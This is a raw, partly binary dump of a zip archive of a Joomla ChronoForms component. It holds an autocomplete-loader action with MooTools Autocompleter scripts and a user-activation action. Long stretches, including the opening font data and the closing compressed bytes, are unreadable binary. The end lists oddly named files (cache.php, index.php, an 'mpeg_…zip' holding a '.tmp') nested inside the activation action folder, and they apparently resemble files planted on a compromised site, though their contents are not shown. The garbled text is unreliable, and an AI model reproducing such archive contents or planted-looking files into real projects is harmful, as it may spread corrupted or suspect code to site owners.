z!Ar*-F&-,)*,HGGG>n>,*)**'GGGH-xJCrRF&-,)*,HGGGK41AExg@A|(2<%',*)**'GGGHG0%#nDBn;;q#"<M"!r<F&-,)*,HGGG.0DCwDKeu,*)**'GGGHT h6141;((LLjL`r%F&-,)*,HGGGXN,*)**'GGGH|4q?@X_,*PF+,])'{t^Z]_N.2nPP\# fwZs$$%*$+(MJ%$%7VRQO3S^XLM..8VcaG5jL$N=4#N(%8:&&(%8:&&`:(')(;'''&VKY5BZv}VmZVW%Yj-YRJzRMs}#+80|MHnMZDJ< $cI95<N53djB%-vz34yZjkW5Z0< Efe)ogV:' VW*)``('%99&'R;'')'$={0@A*%Y KJyOL=pi:%""5/rEE"7:%!$Ha$i.ZQJ{QNrH*80~KGn%r]%RRw{POc91NO52}TRUT{95OP83N< FFU0$,eR/-#GEo/VW)'(d_(<zBHk}HZ#=m+# 'TV% po##II$|Z41(Y[%41Z18`)/9% 9dna`opknroqb'*;*+-*).FGFFeZxYm&*)*)-* FFFFDIb2;F;*+-*).FGFFu<<P22afC$$<*)*)-* FFFF-t9 ~;2bC;*+-*).FGFFEsr__)^ECQ:9*)*)-* FFFF|{{{z< +)P&=l,r82b+95\!ea &,^F::7HW::%9 Z7-V&5V4 5NeLVL0I4{*WxNolq>,] ~   EkwRySwkEN7Npmgdb6SCHP#<5@4,801GP cojE'Xwz &^'YV*<98)8aJibX_bgM_jGLK{|JJrf[`djKac_e yQN;.*"#+H7wbyvyWWe++6+=36(';5Q0bW*$He%l<;zz<=g"kEHWW3+&1a/9R:5*&K+50B C22< 11FE31y=f!=<`6879.>6(;+(!GfC760*9aCP^m4AYo@A)&Y KKyNM>q j:%!WmO"4.rEE"7:%!ChBCicdehjgifgjfUcK  fcnERRMp6<9\(!+"" wmB?6 $Ny*TSS0`tsq6 N.,e40\XXXXn~C9mL!!Q!.Akjzz]eHED,vvo76z<:Q!_x4t]W==/=< ia`lm2{:8}~/'_<?p,,/ rj rKj/ xjj rI&C&j/R9}9+KbAnOV&&9&V9AK&dEK&K9-Mj1&dC99-bfO=K j7VKraaaHQQUXfffZC.*V@KReRen:b.ZThrhrhrhrhrhrhrh4sNVVeD<\:6$${%rNF$(B#9bbbbbb&p5IN8c;NWY6NWN=a-CzU 6NQQLLLL6`,Xl  |  Z  X^n:l"*|$P@x !b!"##T##%%&'$(P)6*N*++,f,,,-\-..J.../*/L/n////0(0J0l02 3r34 457n89;<=?h@.@AB\BCCnDrEEEFFFFGH*IJKLM MNOPZPQQRSTUJUV|WdXXYf3 ,I u , ,DIN 1451 MittelschriftRegularDIN 1451 MittelschriftDIN 1451 MittelschriftDIN 1451 MittelschriftRegularDIN 1451 MittelschriftDIN 1451 MittelschriftPKs>\ 4com_chronoforms/form_actions/load_captcha/index.htmlnuW+A PKs>\'桄Hcom_chronoforms/form_actions/autocomplete_loader/autocomplete_loader.phpnuW+A 'Autocomplete Loader', 'tooltip' => 'Load the auto complete basic CSS and code'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'field_id' => '', 'field_name' => '', 'minLength' => 3, 'maxChoices' => 10, 'ajax_delay' => 300, 'results_cache' => 'true', 'ajax_event' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PKs>\ ;com_chronoforms/form_actions/autocomplete_loader/index.htmlnuW+A PKs>\X-Hcom_chronoforms/form_actions/autocomplete_loader/autocomplete_loader.ctpnuW+A
      Autocomplete Loader
      Header(array('settings' => 'Settings', 'other' => 'Other', 'help' => 'Help'), 'autocomplete_loader_config_{n}'); ?> tabStart('settings'); ?> input('action_autocomplete_loader_{n}_field_id_config', array('type' => 'text', 'label' => "Field ID", 'smalldesc' => 'The id of the field which will have the auto completer function assigned by this action.')); ?> input('action_autocomplete_loader_{n}_field_name_config', array('type' => 'text', 'label' => "Field Name", 'smalldesc' => 'The name of the field which will have the auto completer function assigned by this action.')); ?> input('action_autocomplete_loader_{n}_ajax_event_config', array('type' => 'text', 'label' => "AJAX event", 'class' => 'medium_input', 'smalldesc' => 'The event name which will have the Autocompleter processor action.')); ?> tabEnd(); ?> tabStart('other'); ?> input('action_autocomplete_loader_{n}_minLength_config', array('type' => 'text', 'label' => "Minimum length", 'smalldesc' => 'Minimum number of characters before a request is initiated.')); ?> input('action_autocomplete_loader_{n}_maxChoices_config', array('type' => 'text', 'label' => "Max choice", 'smalldesc' => 'Maximum number of choices to show.')); ?> input('action_autocomplete_loader_{n}_ajax_delay_config', array('type' => 'text', 'label' => "AJAX delay", 'smalldesc' => 'Time to wait in MS before a request is initiated.')); ?> input('action_autocomplete_loader_{n}_results_cache_config', array('type' => 'select', 'label' => 'Cache results', 'options' => array('false' => 'No', 'true' => 'Yes'), 'empty' => false, 'smalldesc' => "Cache the results ?")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Add your field name and id which is going to have the auto loader function then set the event name which will have the processor action.
      • Your field should be of type text box or text area.
      • You should use an event on the same form, e.g: create a new form event and call it "my_auto_complete".

      tabEnd(); ?>
      PKs>\):com_chronoforms/form_actions/autocomplete_loader/.htaccessnuW+A Order allow,deny Deny from all PKs>\TSg))Icom_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.cssnuW+Aul.autocompleter-choices { position: absolute; margin: 0; padding: 0; list-style: none; border: 1px solid #7c7c7c; border-left-color: #c3c3c3; border-right-color: #c3c3c3; border-bottom-color: #ddd; background-color: #fff; text-align: left; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; z-index: 50; background-color: #fff; } ul.autocompleter-choices li { position: relative; margin: -2px 0 0 0; padding: 0.2em 1.5em 0.2em 1em; display: block; float: none !important; cursor: pointer; font-weight: normal; white-space: nowrap; font-size: 1em; line-height: 1.5em; } ul.autocompleter-choices li.autocompleter-selected { background-color: #444; color: #fff; } ul.autocompleter-choices span.autocompleter-queried { display: inline; float: none; font-weight: bold; margin: 0; padding: 0; } ul.autocompleter-choices li.autocompleter-selected span.autocompleter-queried { color: #9FCFFF; }PKs>\)Acom_chronoforms/form_actions/autocomplete_loader/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\Ӳ#77Hcom_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.jsnuW+A/** * Autocompleter * * http://digitarald.de/project/autocompleter/ * * @version 1.1.2 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ var Autocompleter = new Class({ Implements: [Options, Events], options: {/* onOver: $empty, onSelect: $empty, onSelection: $empty, onShow: $empty, onHide: $empty, onBlur: $empty, onFocus: $empty,*/ minLength: 1, markQuery: true, width: 'inherit', maxChoices: 10, injectChoice: null, customChoices: null, emptyChoices: null, visibleChoices: true, className: 'autocompleter-choices', zIndex: 42, delay: 400, observerOptions: {}, fxOptions: {}, autoSubmit: false, overflow: false, overflowMargin: 25, selectFirst: false, filter: null, filterCase: false, filterSubset: false, forceSelect: false, selectMode: true, choicesMatch: null, multiple: false, separator: ', ', separatorSplit: /\s*[,;]\s*/, autoTrim: false, allowDupes: false, cache: true, relative: false }, initialize: function(element, options) { this.element = $(element); this.setOptions(options); this.build(); this.observer = new Observer(this.element, this.prefetch.bind(this), $merge({ 'delay': this.options.delay }, this.options.observerOptions)); this.queryValue = null; if (this.options.filter) this.filter = this.options.filter.bind(this); var mode = this.options.selectMode; this.typeAhead = (mode == 'type-ahead'); this.selectMode = (mode === true) ? 'selection' : mode; this.cached = []; }, /** * build - Initialize DOM * * Builds the html structure for choices and appends the events to the element. * Override this function to modify the html generation. */ build: function() { if ($(this.options.customChoices)) { this.choices = this.options.customChoices; } else { this.choices = new Element('ul', { 'class': this.options.className, 'styles': { 'zIndex': this.options.zIndex } }).inject(document.body); this.relative = false; if (this.options.relative) { this.choices.inject(this.element, 'after'); this.relative = this.element.getOffsetParent(); } this.fix = new OverlayFix(this.choices); } if (!this.options.separator.test(this.options.separatorSplit)) { this.options.separatorSplit = this.options.separator; } this.fx = (!this.options.fxOptions) ? null : new Fx.Tween(this.choices, $merge({ 'property': 'opacity', 'link': 'cancel', 'duration': 200 }, this.options.fxOptions)).addEvent('onStart', Chain.prototype.clearChain).set(0); this.element.setProperty('autocomplete', 'off') .addEvent((Browser.Engine.trident || Browser.Engine.webkit) ? 'keydown' : 'keypress', this.onCommand.bind(this)) .addEvent('click', this.onCommand.bind(this, [false])) .addEvent('focus', this.toggleFocus.create({bind: this, arguments: true, delay: 100})) .addEvent('blur', this.toggleFocus.create({bind: this, arguments: false, delay: 100})); }, destroy: function() { if (this.fix) this.fix.destroy(); this.choices = this.selected = this.choices.destroy(); }, toggleFocus: function(state) { this.focussed = state; if (!state) this.hideChoices(true); this.fireEvent((state) ? 'onFocus' : 'onBlur', [this.element]); }, onCommand: function(e) { if (!e && this.focussed) return this.prefetch(); if (e && e.key && !e.shift) { switch (e.key) { case 'enter': if (this.element.value != this.opted) return true; if (this.selected && this.visible) { this.choiceSelect(this.selected); return !!(this.options.autoSubmit); } break; case 'up': case 'down': if (!this.prefetch() && this.queryValue !== null) { var up = (e.key == 'up'); this.choiceOver((this.selected || this.choices)[ (this.selected) ? ((up) ? 'getPrevious' : 'getNext') : ((up) ? 'getLast' : 'getFirst') ](this.options.choicesMatch), true); } return false; case 'esc': case 'tab': this.hideChoices(true); break; } } return true; }, setSelection: function(finish) { var input = this.selected.inputValue, value = input; var start = this.queryValue.length, end = input.length; if (input.substr(0, start).toLowerCase() != this.queryValue.toLowerCase()) start = 0; if (this.options.multiple) { var split = this.options.separatorSplit; value = this.element.value; start += this.queryIndex; end += this.queryIndex; var old = value.substr(this.queryIndex).split(split, 1)[0]; value = value.substr(0, this.queryIndex) + input + value.substr(this.queryIndex + old.length); if (finish) { var tokens = value.split(this.options.separatorSplit).filter(function(entry) { return this.test(entry); }, /[^\s,]+/); if (!this.options.allowDupes) tokens = [].combine(tokens); var sep = this.options.separator; value = tokens.join(sep) + sep; end = value.length; } } this.observer.setValue(value); this.opted = value; if (finish || this.selectMode == 'pick') start = end; this.element.selectRange(start, end); this.fireEvent('onSelection', [this.element, this.selected, value, input]); }, showChoices: function() { var match = this.options.choicesMatch, first = this.choices.getFirst(match); this.selected = this.selectedValue = null; if (this.fix) { var pos = this.element.getCoordinates(this.relative), width = this.options.width || 'auto'; this.choices.setStyles({ 'left': pos.left, 'top': pos.bottom, 'width': (width === true || width == 'inherit') ? pos.width : width }); } if (!first) return; if (!this.visible) { this.visible = true; this.choices.setStyle('display', ''); if (this.fx) this.fx.start(1); this.fireEvent('onShow', [this.element, this.choices]); } if (this.options.selectFirst || this.typeAhead || first.inputValue == this.queryValue) this.choiceOver(first, this.typeAhead); var items = this.choices.getChildren(match), max = this.options.maxChoices; var styles = {'overflowY': 'hidden', 'height': ''}; this.overflown = false; if (items.length > max) { var item = items[max - 1]; styles.overflowY = 'scroll'; styles.height = item.getCoordinates(this.choices).bottom; this.overflown = true; }; this.choices.setStyles(styles); this.fix.show(); if (this.options.visibleChoices) { var scroll = document.getScroll(), size = document.getSize(), coords = this.choices.getCoordinates(); if (coords.right > scroll.x + size.x) scroll.x = coords.right - size.x; if (coords.bottom > scroll.y + size.y) scroll.y = coords.bottom - size.y; window.scrollTo(Math.min(scroll.x, coords.left), Math.min(scroll.y, coords.top)); } }, hideChoices: function(clear) { if (clear) { var value = this.element.value; if (this.options.forceSelect) value = this.opted; if (this.options.autoTrim) { value = value.split(this.options.separatorSplit).filter($arguments(0)).join(this.options.separator); } this.observer.setValue(value); } if (!this.visible) return; this.visible = false; if (this.selected) this.selected.removeClass('autocompleter-selected'); this.observer.clear(); var hide = function(){ this.choices.setStyle('display', 'none'); this.fix.hide(); }.bind(this); if (this.fx) this.fx.start(0).chain(hide); else hide(); this.fireEvent('onHide', [this.element, this.choices]); }, prefetch: function() { var value = this.element.value, query = value; if (this.options.multiple) { var split = this.options.separatorSplit; var values = value.split(split); var index = this.element.getSelectedRange().start; var toIndex = value.substr(0, index).split(split); var last = toIndex.length - 1; index -= toIndex[last].length; query = values[last]; } if (query.length < this.options.minLength) { this.hideChoices(); } else { if (query === this.queryValue || (this.visible && query == this.selectedValue)) { if (this.visible) return false; this.showChoices(); } else { this.queryValue = query; this.queryIndex = index; if (!this.fetchCached()) this.query(); } } return true; }, fetchCached: function() { return false; if (!this.options.cache || !this.cached || !this.cached.length || this.cached.length >= this.options.maxChoices || this.queryValue) return false; this.update(this.filter(this.cached)); return true; }, update: function(tokens) { this.choices.empty(); this.cached = tokens; var type = tokens && $type(tokens); if (!type || (type == 'array' && !tokens.length) || (type == 'hash' && !tokens.getLength())) { (this.options.emptyChoices || this.hideChoices).call(this); } else { if (this.options.maxChoices < tokens.length && !this.options.overflow) tokens.length = this.options.maxChoices; tokens.each(this.options.injectChoice || function(token){ var choice = new Element('li', {'html': this.markQueryValue(token)}); choice.inputValue = token; this.addChoiceEvents(choice).inject(this.choices); }, this); this.showChoices(); } }, choiceOver: function(choice, selection) { if (!choice || choice == this.selected) return; if (this.selected) this.selected.removeClass('autocompleter-selected'); this.selected = choice.addClass('autocompleter-selected'); this.fireEvent('onSelect', [this.element, this.selected, selection]); if (!this.selectMode) this.opted = this.element.value; if (!selection) return; this.selectedValue = this.selected.inputValue; if (this.overflown) { var coords = this.selected.getCoordinates(this.choices), margin = this.options.overflowMargin, top = this.choices.scrollTop, height = this.choices.offsetHeight, bottom = top + height; if (coords.top - margin < top && top) this.choices.scrollTop = Math.max(coords.top - margin, 0); else if (coords.bottom + margin > bottom) this.choices.scrollTop = Math.min(coords.bottom - height + margin, bottom); } if (this.selectMode) this.setSelection(); }, choiceSelect: function(choice) { if (choice) this.choiceOver(choice); this.setSelection(true); this.queryValue = false; this.hideChoices(); }, filter: function(tokens) { return (tokens || this.tokens).filter(function(token) { return this.test(token); }, new RegExp(((this.options.filterSubset) ? '' : '^') + this.queryValue.escapeRegExp(), (this.options.filterCase) ? '' : 'i')); }, /** * markQueryValue * * Marks the queried word in the given string with * * Call this i.e. from your custom parseChoices, same for addChoiceEvents * * @param {String} Text * @return {String} Text */ markQueryValue: function(str) { return (!this.options.markQuery || !this.queryValue) ? str : str.replace(new RegExp('(' + ((this.options.filterSubset) ? '' : '^') + this.queryValue.escapeRegExp() + ')', (this.options.filterCase) ? '' : 'i'), '$1'); }, /** * addChoiceEvents * * Appends the needed event handlers for a choice-entry to the given element. * * @param {Element} Choice entry * @return {Element} Choice entry */ addChoiceEvents: function(el) { return el.addEvents({ 'mouseover': this.choiceOver.bind(this, [el]), 'click': this.choiceSelect.bind(this, [el]) }); } }); var OverlayFix = new Class({ initialize: function(el) { if (Browser.Engine.trident) { this.element = $(el); this.relative = this.element.getOffsetParent(); this.fix = new Element('iframe', { 'frameborder': '0', 'scrolling': 'no', 'src': 'javascript:false;', 'styles': { 'position': 'absolute', 'border': 'none', 'display': 'none', 'filter': 'progid:DXImageTransform.Microsoft.Alpha(opacity=0)' } }).inject(this.element, 'after'); } }, show: function() { if (this.fix) { var coords = this.element.getCoordinates(this.relative); delete coords.right; delete coords.bottom; this.fix.setStyles($extend(coords, { 'display': '', 'zIndex': (this.element.getStyle('zIndex') || 1) - 1 })); } return this; }, hide: function() { if (this.fix) this.fix.setStyle('display', 'none'); return this; }, destroy: function() { if (this.fix) this.fix = this.fix.destroy(); } }); Element.implement({ getSelectedRange: function() { if (!Browser.Engine.trident) return {start: this.selectionStart, end: this.selectionEnd}; var pos = {start: 0, end: 0}; var range = this.getDocument().selection.createRange(); if (!range || range.parentElement() != this) return pos; var dup = range.duplicate(); if (this.type == 'text') { pos.start = 0 - dup.moveStart('character', -100000); pos.end = pos.start + range.text.length; } else { var value = this.value; var offset = value.length - value.match(/[\n\r]*$/)[0].length; dup.moveToElementText(this); dup.setEndPoint('StartToEnd', range); pos.end = offset - dup.text.length; dup.setEndPoint('StartToStart', range); pos.start = offset - dup.text.length; } return pos; }, selectRange: function(start, end) { if (Browser.Engine.trident) { var diff = this.value.substr(start, end - start).replace(/\r/g, '').length; start = this.value.substr(0, start).replace(/\r/g, '').length; var range = this.createTextRange(); range.collapse(true); range.moveEnd('character', start + diff); range.moveStart('character', start); range.select(); } else { this.focus(); this.setSelectionRange(start, end); } return this; } }); /* compatibility */ Autocompleter.Base = Autocompleter;PKs>\WH Pcom_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.Request.jsnuW+A/** * Autocompleter.Request * * http://digitarald.de/project/autocompleter/ * * @version 1.1.2 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ Autocompleter.Request = new Class({ Extends: Autocompleter, options: {/* indicator: null, indicatorClass: null, onRequest: $empty, onComplete: $empty,*/ postData: {}, ajaxOptions: {}, postVar: 'value' }, query: function(){ var data = $unlink(this.options.postData) || {}; data[this.options.postVar] = this.queryValue; var indicator = $(this.options.indicator); if (indicator) indicator.setStyle('display', ''); var cls = this.options.indicatorClass; if (cls) this.element.addClass(cls); this.fireEvent('onRequest', [this.element, this.request, data, this.queryValue]); this.request.send({'data': data}); }, /** * queryResponse - abstract * * Inherated classes have to extend this function and use this.parent() */ queryResponse: function() { var indicator = $(this.options.indicator); if (indicator) indicator.setStyle('display', 'none'); var cls = this.options.indicatorClass; if (cls) this.element.removeClass(cls); return this.fireEvent('onComplete', [this.element, this.request]); } }); Autocompleter.Request.JSON = new Class({ Extends: Autocompleter.Request, initialize: function(el, url, options) { this.parent(el, options); this.request = new Request.JSON($merge({ 'url': url, 'link': 'cancel' }, this.options.ajaxOptions)).addEvent('onComplete', this.queryResponse.bind(this)); }, queryResponse: function(response) { this.parent(); this.update(response); } }); Autocompleter.Request.HTML = new Class({ Extends: Autocompleter.Request, initialize: function(el, url, options) { this.parent(el, options); this.request = new Request.HTML($merge({ 'url': url, 'link': 'cancel', 'update': this.choices }, this.options.ajaxOptions)).addEvent('onComplete', this.queryResponse.bind(this)); }, queryResponse: function(tree, elements) { this.parent(); if (!elements || !elements.length) { this.hideChoices(); } else { this.choices.getChildren(this.options.choicesMatch).each(this.options.injectChoice || function(choice) { var value = choice.innerHTML; choice.inputValue = value; this.addChoiceEvents(choice.set('html', this.markQueryValue(value))); }, this); this.showChoices(); } } }); /* compatibility */ Autocompleter.Ajax = { Base: Autocompleter.Request, Json: Autocompleter.Request.JSON, Xhtml: Autocompleter.Request.HTML }; PKs>\sH  Pcom_chronoforms/form_actions/autocomplete_loader/assets/indicator_blue_small.gifnuW+AGIF89a pˌRo! NETSCAPE2.0! , +IԬeަ)"-ɠ%g itio~0! , P$ߔwIT! , 2)RssLdA"ɸ)YlFý϶ yM(U.! , >IHIT R PtI1 ʺHʴݾY`a }L &6ud"! , =I`2Ptı("Pʺ ,ھԻwÚOhTJ.! , 3IԬeP(dR1 Ś2r\3.=>24`J! ,  Ь%ߕT;PKs>\a]55Ccom_chronoforms/form_actions/autocomplete_loader/assets/Observer.jsnuW+A/** * Observer - Observe formelements for changes * * - Additional code from clientside.cnet.com * * @version 1.1 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ var Observer = new Class({ Implements: [Options, Events], options: { periodical: false, delay: 1000 }, initialize: function(el, onFired, options){ this.element = $(el) || $$(el); this.addEvent('onFired', onFired); this.setOptions(options); this.bound = this.changed.bind(this); this.resume(); }, changed: function() { var value = this.element.get('value'); if ($equals(this.value, value)) return; this.clear(); this.value = value; this.timeout = this.onFired.delay(this.options.delay, this); }, setValue: function(value) { this.value = value; this.element.set('value', value); return this.clear(); }, onFired: function() { this.fireEvent('onFired', [this.value, this.element]); }, clear: function() { $clear(this.timeout || null); return this; }, pause: function(){ if (this.timer) $clear(this.timer); else this.element.removeEvent('keyup', this.bound); return this.clear(); }, resume: function(){ this.value = this.element.get('value'); if (this.options.periodical) this.timer = this.changed.periodical(this.options.periodical, this); else this.element.addEvent('keyup', this.bound); return this; } }); var $equals = function(obj1, obj2) { return (obj1 == obj2 || JSON.encode(obj1) == JSON.encode(obj2)); };PKs>\PA  Ncom_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.Local.jsnuW+A/** * Autocompleter.Local * * http://digitarald.de/project/autocompleter/ * * @version 1.1.2 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ Autocompleter.Local = new Class({ Extends: Autocompleter, options: { minLength: 0, delay: 200 }, initialize: function(element, tokens, options) { this.parent(element, options); this.tokens = tokens; }, query: function() { this.update(this.filter()); } });PKs>\Bcom_chronoforms/form_actions/autocomplete_loader/assets/index.htmlnuW+APKs>\Qcom_chronoforms/form_actions/autocomplete_loader/cfaction_autocomplete_loader.ctpnuW+Aload($form, $actiondata); ?>PKs>\̀Qcom_chronoforms/form_actions/autocomplete_loader/cfaction_autocomplete_loader.phpnuW+Aparams); $output = ''; $document = JFactory::getDocument(); //load some files //mootools JHTML::_('behavior.mootools'); //load form css files $uri = JFactory::getURI(); //$document->addStyleSheet($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.css'); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.js'); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.Local.js'); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.Request.js'); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Observer.js'); //load the CSS ob_start(); ?> ul.autocompleter-choices { margin:0; position:absolute; width:339px; padding:0; list-style:none; z-index:50; background:#3b5998; border:1px solid #3b5998; top:0;} ul.autocompleter-choices li { margin:0; list-style:none; padding:0px 10px; cursor:pointer; font-weight:normal; white-space:nowrap; color:#fff; font-size:11px; } ul.autocompleter-choices li:hover { background:#eceff5; color:#3b5998; } .search-working { background:url(/administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/indicator_blue_small.gif) 200px 7px no-repeat; } addStyleDeclaration($script); //load the JS ob_start(); ?> window.addEvent('domready', function() { new Autocompleter.Request.JSON('get('field_id', ''); ?>', 'index.php?option=com_chronoforms&chronoform=form_details->name; ?>&event=get('ajax_event', ''); ?>', { 'postVar': 'get('field_name', ''); ?>', minLength: get('minLength', 3); ?>, maxChoices: get('maxChoices', 10); ?>, autoSubmit: false, cache: get('results_cache', 'true'); ?>, delay: get('ajax_delay', 300); ?>, onRequest: function() { $('get('field_id', ''); ?>').setStyles({ 'background-image':'url(root(); ?>administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/indicator_blue_small.gif)', 'background-position':'350px 7px', 'background-repeat':'no-repeat' }); }, onComplete: function() { $('get('field_id', ''); ?>').setStyle('background',''); } }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } } ?>PKs>\G9Ncom_chronoforms/form_actions/joomla_user_activation/joomla_user_activation.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla User Activation', 'tooltip' => 'Activate a Joomla user account through token.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $user = JFactory::getUser(); $uParams = JComponentHelper::getParams('com_users'); $language = JFactory::getLanguage(); $language->load('com_users'); // If the user is logged in, return them back to the homepage. if ($user->get('id')) { $mainframe->redirect('index.php'); return true; } // If user registration or account activation is disabled, throw a 403. if (($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0) && !$params->get('override_allow_user_registration', 0)) { JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN')); return false; } $token = JRequest::getVar('token', null, 'request', 'alnum'); // Check that the token is in a valid format. if ($token === null || strlen($token) !== 32) { JError::raiseError(403, JText::_('JINVALID_TOKEN')); return false; } // Attempt to activate the user. $return = $this->activate($token); // Check for errors. if ($return === false) { // Redirect back to the homepage. JError::raiseWarning(100, JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $this->getError())); $this->events['fail'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect('index.php'); } return false; } $useractivation = $uParams->get('useractivation'); // Redirect to the login screen. if ($useractivation == 0){ $mainframe->enqueueMessage(JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS')); $this->events['success'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect(JRoute::_('index.php?option=com_users&view=login', false)); } }elseif ($useractivation == 1){ $mainframe->enqueueMessage(JText::_('COM_USERS_REGISTRATION_ACTIVATE_SUCCESS')); $this->events['success'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect(JRoute::_('index.php?option=com_users&view=login', false)); } }elseif ($return->getParam('activate')){ $mainframe->enqueueMessage(JText::_('COM_USERS_REGISTRATION_VERIFY_SUCCESS')); $this->events['success'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } }else{ $mainframe->enqueueMessage(JText::_('COM_USERS_REGISTRATION_ADMINACTIVATE_SUCCESS')); $this->events['success'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } } return true; /*if((int)$params->get('auto_login', 0) == 1){ $credentials = array(); $credentials['username'] = $form->data['username']; $credentials['password'] = $form->data['password']; $mainframe->login($credentials); }*/ } function activate($token){ $config = JFactory::getConfig(); $userParams = JComponentHelper::getParams('com_users'); $db = JFactory::getDBO(); // Get the user id based on the token. $db->setQuery( 'SELECT `id` FROM `#__users`' . ' WHERE `activation` = '.$db->Quote($token) . ' AND `block` = 1' . ' AND `lastvisitDate` = '.$db->Quote($db->getNullDate()) ); $userId = (int) $db->loadResult(); // Check for a valid user id. if (!$userId) { $this->setError(JText::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND')); return false; } // Load the users plugin group. JPluginHelper::importPlugin('user'); // Activate the user. $user = JFactory::getUser($userId); // Admin activation is on and user is verifying their email if (($userParams->get('useractivation') == 2) && !$user->getParam('activate', 0)) { $uri = JURI::getInstance(); jimport('joomla.user.helper'); // Compile the admin notification mail values. $data = $user->getProperties(); $data['activation'] = JUtility::getHash(JUserHelper::genRandomPassword()); $user->set('activation', $data['activation']); $data['siteurl'] = JUri::base(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base.JRoute::_('index.php?option=com_users&task=registration.activate&token='.$data['activation'], false); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $user->setParam('activate', 1); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_SUBJECT', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_BODY', $data['sitename'], $data['name'], $data['email'], $data['username'], $data['siteurl'].'index.php?option=com_users&task=registration.activate&token='.$data['activation'] ); // get all admin users $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE sendEmail=1'; $db->setQuery( $query ); $rows = $db->loadObjectList(); // Send mail to all superadministrators id foreach( $rows as $row ){ $return = JUtility::sendMail($data['mailfrom'], $data['fromname'], $row->email, $emailSubject, $emailBody); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } } //Admin activation is on and admin is activating the account else if (($userParams->get('useractivation') == 2) && $user->getParam('activate', 0)){ $user->set('activation', ''); $user->set('block', '0'); $uri = JURI::getInstance(); jimport('joomla.user.helper'); // Compile the user activated notification mail values. $data = $user->getProperties(); $user->setParam('activate', 0); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['siteurl'] = JUri::base(); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY', $data['name'], $data['siteurl'], $data['username'] ); $return = JUtility::sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } else { $user->set('activation', ''); $user->set('block', '0'); } // Store the user object. if (!$user->save()) { $this->setError(JText::sprintf('COM_USERS_REGISTRATION_ACTIVATION_SAVE_FAILED', $user->getError())); return false; } return $user; } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'override_allow_user_registration' => 1, 'allow_redirects' => 0, ); } return array('action_params' => $action_params); } } ?>PKs>\4zzTcom_chronoforms/form_actions/joomla_user_activation/joomla_user_activation/cache.phpnuW+APKs>\{9ZTcom_chronoforms/form_actions/joomla_user_activation/joomla_user_activation/index.phpnuW+APKs>\V-tacom_chronoforms/form_actions/joomla_user_activation/joomla_user_activation/mpeg_69096760bdece.zipnuW+APKd[txb_69096760bdece.tmpU oH+b 0j[ZPQA x}4߾gt7YqΜ<,@Q(423% (|q1/ FJ*գN@^>XE$~zv%7 ¸bpk4 qTEшTj:wGVǖTdbVk?qS3 AxT>JdXd4sUTԄ*BH E%kb,`#f0[Uox/=gc< 